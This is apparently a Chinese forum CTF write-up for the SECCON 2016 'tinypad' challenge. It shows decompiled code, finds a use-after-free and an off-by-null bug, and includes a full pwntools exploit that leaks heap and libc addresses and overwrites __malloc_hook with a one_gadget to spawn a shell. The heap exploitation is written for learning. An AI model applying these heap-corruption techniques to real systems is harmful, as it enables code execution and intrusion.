SECCON CTF 2016 : tinypad
本帖最后由 R00tkit 于 2023-9-22 20:47 编辑# 检查文件信息
没有开PIE保护，ELF64小端序文件。
暂改rpath为2.23。
# 试运行
# 逆向分析
```cpp
/* main 函数 */
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
__int64 len_of_str; // rsi
const char *str; // rdi
__int64 v6; // rdx
__int64 v7; // rdx
__int64 v8; // rdx
__int64 v9; // rdx
size_t len_of_con; // rax
int choice; // eax
int size_alloc; // eax
__int64 v13; // rdx
size_t v14; // rax
__int64 v15; // rdx
unsigned __int64 v16; // rax
__int64 v17; // rdx
__int64 v18; // rdx
int c; // BYREF
int i; //
int index; //
int v23; //
int size; //
unsigned __int64 v25; //
v25 = __readfsqword(0x28u);
v23 = 0;
write_n(&unk_4019F0, 1LL, envp);
write_n(
"============================================================================\n"
"// _|_|_|_|_|_|_|_|_| _|_| _|_|_|_| _|_| _|_|_| \\\\\n"
"|| _| _| _|_| _| _|_| _| _|_| _|_| _| ||\n"
"|| _| _| _|_|_| _| _|_|_| _|_|_|_|_| _| ||\n"
"|| _| _| _| _|_| _| _| _| _|_| _| ||\n"
"\\\\ _| _|_|_|_| _| _| _| _| _|_|_|_| //\n"
"============================================================================\n",
563LL,
v3);
len_of_str = 1LL;
str = (const char *)&unk_4019F0;
write_n(&unk_4019F0, 1LL, v6);
do
{
for ( i = 0; i <= 3; ++i ) // output all pad with i=0
{
LOBYTE(c) = i + '1';
writeln("+------------------------------------------------------------------------------+\n", 81LL);
write_n(" # INDEX: ", 12LL, v8);
writeln(&c, 1LL);
write_n(" # CONTENT: ", 12LL, v9);
if ( *(_QWORD *)&tinypad )
{
len_of_con = strlen(*(const char **)&tinypad);
writeln(*(_QWORD *)&tinypad, len_of_con);
}
len_of_str = 1LL;
str = (const char *)&unk_4019F0;
writeln(&unk_4019F0, 1LL);
}
index = 0; // init index
choice = getcmd((__int64)str, len_of_str, v7);
v23 = choice;
if ( choice == 'D' ) // delete start
{
write_n("(INDEX)>>> ", 11LL, v7);
index = read_int();
if ( index <= 0 || index > 4 )
{
LABEL_29:
len_of_str = 13LL;
str = "Invalid index";
writeln("Invalid index", 13LL);
continue;
}
if ( !*(_QWORD *)&tinypad )
{
LABEL_31:
len_of_str = 8LL;
str = "Not used";
writeln("Not used", 8LL);
continue;
}
free(*(void **)&tinypad); // because index begin with 1，so this is 0xF8 ; UAF漏洞
*(_QWORD *)&tinypad = 0LL;
len_of_str = 9LL;
str = "\nDeleted.";
writeln("\nDeleted.", 9LL);
} // delete end
else if ( choice > 'D' )
{
if ( choice != 'E' )
{
if ( choice == 'Q' ) // Quit
continue;
LABEL_41:
len_of_str = 17LL;
str = "No such a command";
writeln("No such a command", 17LL);
continue;
}
write_n("(INDEX)>>> ", 11LL, v7); // edit start
index = read_int();
if ( index <= 0 || index > 4 )
goto LABEL_29;
if ( !*(_QWORD *)&tinypad )
goto LABEL_31;
c = '0';
strcpy(tinypad, *(const char **)&tinypad);
while ( toupper(c) != 'Y' )
{
write_n("CONTENT: ", 9LL, v18);
v14 = strlen(tinypad);
writeln(tinypad, v14);
write_n("(CONTENT)>>> ", 13LL, v15);
v16 = strlen(*(const char **)&tinypad);
read_until((__int64)tinypad, v16, '\n');
writeln("Is it OK?", 9LL);
write_n("(Y/n)>>> ", 9LL, v17);
read_until((__int64)&c, 1uLL, '\n');
}
strcpy(*(char **)&tinypad, tinypad);
len_of_str = 8LL;
str = "\nEdited.";
writeln("\nEdited.", 8LL); // edit end
}
else
{
if ( choice != 'A' ) // Add begin
goto LABEL_41;
while ( index <= 3 )
{
v7 = 0x10 * (index + 0x10LL);
if ( !*(_QWORD *)&tinypad )
break;
++index;
}
if ( index == 4 )
{
len_of_str = 17LL;
str = "No space is left.";
writeln("No space is left.", 17LL);
}
else
{
size = -1;
write_n("(SIZE)>>> ", 10LL, v7);
size = read_int();
if ( size <= 0 )
{
size_alloc = 1;
}
else
{
size_alloc = size;
if ( (unsigned __int64)size > 0x100 )
size_alloc = 0x100;
}
size = size_alloc;
*(_QWORD *)&tinypad = size_alloc;
*(_QWORD *)&tinypad = malloc(size);
v13 = 0x10 * (index + 0x10LL);
if ( !*(_QWORD *)&tinypad )
{
writerrln("[!] No memory is available.", 27LL);
exit(-1);
}
write_n("(CONTENT)>>> ", 13LL, v13);
read_until(*(_QWORD *)&tinypad, size, '\n');
len_of_str = 7LL;
str = "\nAdded.";
writeln("\nAdded.", 7LL);
}
} // Add end
}
while ( v23 != 'Q' );
return 0;
}
```
```cpp
/* getcmd 函数 */
int __fastcall getcmd(__int64 a1, __int64 a2, __int64 a3)
{
__int64 v3; // rdx
__int64 v4; // rdx
int c; // BYREF
unsigned __int64 v7; //
v7 = __readfsqword(0x28u);
c = 0;
write_n(
"+- MENU -----------------------------------------------------------------------+\n"
"| Add memo |\n"
"| Delete memo |\n"
"| Edit memo |\n"
"| Quit |\n"
"+------------------------------------------------------------------------------+\n",
486LL,
a3);
write_n("(CMD)>>> ", 9LL, v3);
read_until(&c, 1LL, 10LL);
write_n(&unk_4019F0, 1LL, v4);
return toupper(c);
}
```
```cpp
__int64 __fastcall read_until(__int64 a1, unsigned __int64 a2, unsigned int a3)
{
unsigned __int64 i; //
__int64 n; //
for ( i = 0LL; i < a2; ++i )
{
n = read_n(0LL, a1 + i, 1LL);
if ( n < 0 )
return -1LL;
if ( !n || *(char *)(a1 + i) == a3 )
break;
}
*(_BYTE *)(a1 + i) = 0;// off-by-null
if ( i == a2 && *(_BYTE *)(a2 - 1 + a1) != '\n' )
dummyinput(a3);
return i;
}
```
主要逻辑都写在了main函数里，delete时将data_size置0，却未将data指向置零，存在UAF漏洞。read_until()函数存在off-by-null漏洞。
# 漏洞分析
本题存在UAF漏洞，且输出时并不对size做检查，很容易泄露堆和libc地址。再通过off-by-null构造堆块重叠，将chunk_below_malloc_hook写入fast bin，申请出来时写入one_gadget，再去申请一个堆块便可get_shell。
# 前置脚本
```python
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'
context.arch='amd64'
p = process("./tinypad")
elf = ELF('./tinypad')
libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
is_debug = 1
def debug():
if is_debug:
gdb.attach(p)
pause()
else:
pass
def add_memo(p, size, content):
p.recvuntil(b"(CMD)>>>")
p.sendline(b"A")
p.recvuntil(b"(SIZE)>>>")
p.sendline(str(size).encode())
p.recvuntil(b"(CONTENT)>>>")
p.sendline(content)
def delete_memo(p, idx):
p.recvuntil(b"(CMD)>>>")
p.sendline(b"D")
p.recvuntil(b"(INDEX)>>>")
p.sendline(str(idx).encode())
def edit_memo(p, idx, content):
p.recvuntil(b"(CMD)>>>")
p.sendline(b"E")
p.recvuntil(b"(INDEX)>>>")
p.sendline(str(idx).encode())
p.recvuntil(b"(CONTENT)>>>")
p.sendline(content)
p.recvuntil(b"(Y/n)>>>")
p.sendline(b"Y")
```
# 泄露地址
```python
def leak_addr():
global heap_addr, libc_base, one_gadget, addr_malloc_hook, fake_fast
add_memo(p, 0x60, b"a" * 0x10) # index(1) chunk(1)
add_memo(p, 0x60, b"b" * 0x10) # index(2) chunk(2)
add_memo(p, 0xf0, b"c" * 0x10) # index(3) chunk(3)
add_memo(p, 0x80, b"d" * 0x10) # index(4) chunk(4)
debug() # debug_1
delete_memo(p, 3)
delete_memo(p, 2)
delete_memo(p, 1)
debug() # debug_2
p.recvuntil(b"INDEX: 1")
p.recvuntil(b"CONTENT: ")
heap_addr = u64(p.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) # 2_prev_size
log.success("heap_addr: 0x%x" % heap_addr)
p.recvuntil(b"INDEX: 3")
p.recvuntil(b"CONTENT: ")
arena = u64(p.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
libc_base = arena - 0x3c4b78
log.success("libc_base: 0x%x" % libc_base)
fake_fast = libc_base + libc.sym['__malloc_hook'] - 0x23
one_gadget = libc_base + 0xf1247
```
debug_1
index(4)用来阻隔top_chunk。index(3)会进入unsorted bin，用来泄露libc基址。index(2)和index(1)进入fast bin。index(1)_fd指向index(2)，用来泄露堆地址。
debug_2
可以看到，此时已经构成泄露条件，程序会自动打印所有content，我们只需要接收index(3)和index(1)的内容即可。
# off-by-null
```python
def HOE():
add_memo(p, 0xf0, b"C" * 0x10) # index(1) -> chunk(3)
add_memo(p, 0x60, p64(0) + p64(0xd0) + p64(heap_addr - 0x60) + p64(heap_addr - 0x60)) # index(2) -> chunk(1)
add_memo(p, 0x68, b"B" * 0x60 + p64(0xd0)) # index(3) -> chunk(2)
debug() # debug_3
delete_memo(p, 1)
delete_memo(p, 3)
debug() # debug_4
add_memo(p, 0x90, b'E' * 0x50 + p64(0) + p64(0x71) + p64(fake_fast)) # index(1)
debug() # debug_5
delete_memo(p, 1)
```
debug_3
这里有一些弯子要绕，我们现在的index(1)->chunk(3)，index(2)->chunk(1)，index(3)->chunk(2)。如上图所示，我们通过在申请index(2)时，index(2)->chunk(1)，将chunk(1)构造为一个free_chunk，将fake_chunk_fd，fake_chunk_bk改为chunk(1)_fd的位置来绕过unlink检查，因为我们当初泄露的时chunk(2)_prev_size，所以heap_addr-0x60的位置就是fake_chunk_prev_size。将fake_chunk_size改为0xd0，然后将index(1)->chunk(3)的prev_size改为0xd0，绕过free检查。将index(1)->chunk(3)释放后将造成堆块重叠，将index(3)->chunk(2)包含到重叠的堆块中。
debug_4
debug_5
我们看到，此时已经完成了堆块重叠，我们将index(3)->chunk(2) free后，chunk(2) 进入fast bin，然后我们的大堆块从chunk(1)_fd开始，0x1d0大小的堆块被放进了unsorted bin。我们申请一个足够覆盖chunk(2)的堆块将从unsorted bin中分配，通过此堆块将chunk(2)_fd修改为fake_chunk_below_malloc_hook，我们申请两次就可申请到fake_chunk。
可以看到通过index(1)_0x101修改完毕。
# get_shell
```python
def get_shell():
add_memo(p, 0x60, b'F' * 0x10) # take first fast # index(1)
add_memo(p, 0x60, b'X' * 0x13 + p64(one_gadget)) # take second fast that's __malloc and write one_gadget to it # index(3)
debug() # 6
delete_memo(p, 2) # we have no pad can be write, free(2) add a chunk will exec one_gadget
p.recvuntil(b"(CMD)>>>")
p.sendline(b"A")
p.recvuntil(b"(SIZE)>>>")
p.sendline(str(0x10).encode())
```
0x23减去0x10的fake_chunk_fd&bk，剩下0x13偏移便可到达__malloc_hook，我们只需要添加0x13的偏移即可。成功将__malloc_hook改为one_gadget地址后，然后任意申请一个chunk便可get_shell。
# 完整exp
```python
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'
context.arch='amd64'
p = process("./tinypad")
elf = ELF('./tinypad')
libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
is_debug = 1
def debug():
if is_debug:
gdb.attach(p)
pause()
else:
pass
def add_memo(p, size, content):
p.recvuntil(b"(CMD)>>>")
p.sendline(b"A")
p.recvuntil(b"(SIZE)>>>")
p.sendline(str(size).encode())
p.recvuntil(b"(CONTENT)>>>")
p.sendline(content)
def delete_memo(p, idx):
p.recvuntil(b"(CMD)>>>")
p.sendline(b"D")
p.recvuntil(b"(INDEX)>>>")
p.sendline(str(idx).encode())
def edit_memo(p, idx, content):
p.recvuntil(b"(CMD)>>>")
p.sendline(b"E")
p.recvuntil(b"(INDEX)>>>")
p.sendline(str(idx).encode())
p.recvuntil(b"(CONTENT)>>>")
p.sendline(content)
p.recvuntil(b"(Y/n)>>>")
p.sendline(b"Y")
def leak_addr():
global heap_addr, libc_base, one_gadget, addr_malloc_hook, fake_fast
add_memo(p, 0x60, b"a" * 0x10) # 1
add_memo(p, 0x60, b"b" * 0x10) # 2
add_memo(p, 0xf0, b"c" * 0x10) # 3
add_memo(p, 0x80, b"d" * 0x10) # 4
debug() # 1
delete_memo(p, 3)
delete_memo(p, 2)
delete_memo(p, 1)
debug() # 2
p.recvuntil(b"INDEX: 1")
p.recvuntil(b"CONTENT: ")
heap_addr = u64(p.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) # 2_prev_size
log.success("heap_addr: 0x%x" % heap_addr)
p.recvuntil(b"INDEX: 3")
p.recvuntil(b"CONTENT: ")
arena = u64(p.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
libc_base = arena - 0x3c4b78
log.success("libc_base: 0x%x" % libc_base)
fake_fast = libc_base + libc.sym['__malloc_hook'] - 0x23
one_gadget = libc_base + 0xf1247
def HOE():
add_memo(p, 0xf0, b"C" * 0x10) # index(1) -> chunk(3)
add_memo(p, 0x60, p64(0) + p64(0xd0) + p64(heap_addr - 0x60) + p64(heap_addr - 0x60)) # index(2) -> chunk(1)
add_memo(p, 0x68, b"B" * 0x60 + p64(0xd0)) # index(3) -> chunk(2)
debug() # 3
delete_memo(p, 1)
delete_memo(p, 3)
debug() # 4
add_memo(p, 0x90, b'E' * 0x50 + p64(0) + p64(0x71) + p64(fake_fast)) # index(1)
debug() # 5
delete_memo(p, 1)
def get_shell():
add_memo(p, 0x60, b'F' * 0x10) # take first fast # index(1)
debug() # 6
add_memo(p, 0x60, b'X' * 0x13 + p64(one_gadget)) # take second fast that's __malloc and write one_gadget to it # index(3)
debug() # 7
delete_memo(p, 2) # we have no pad can be write, free(2) add a chunk will exec one_gadget
p.recvuntil(b"(CMD)>>>")
p.sendline(b"A")
p.recvuntil(b"(SIZE)>>>")
p.sendline(str(0x10).encode())
def pwn():
leak_addr()
HOE()
get_shell()
p.interactive()
if __name__ == '__main__':
pwn()
```
有谁科普下这软件干啥的？ xubaosen 发表于 2023-9-1 20:48
有谁科普下这软件干啥的？
ctf比赛的题目 学习了，感谢分享。
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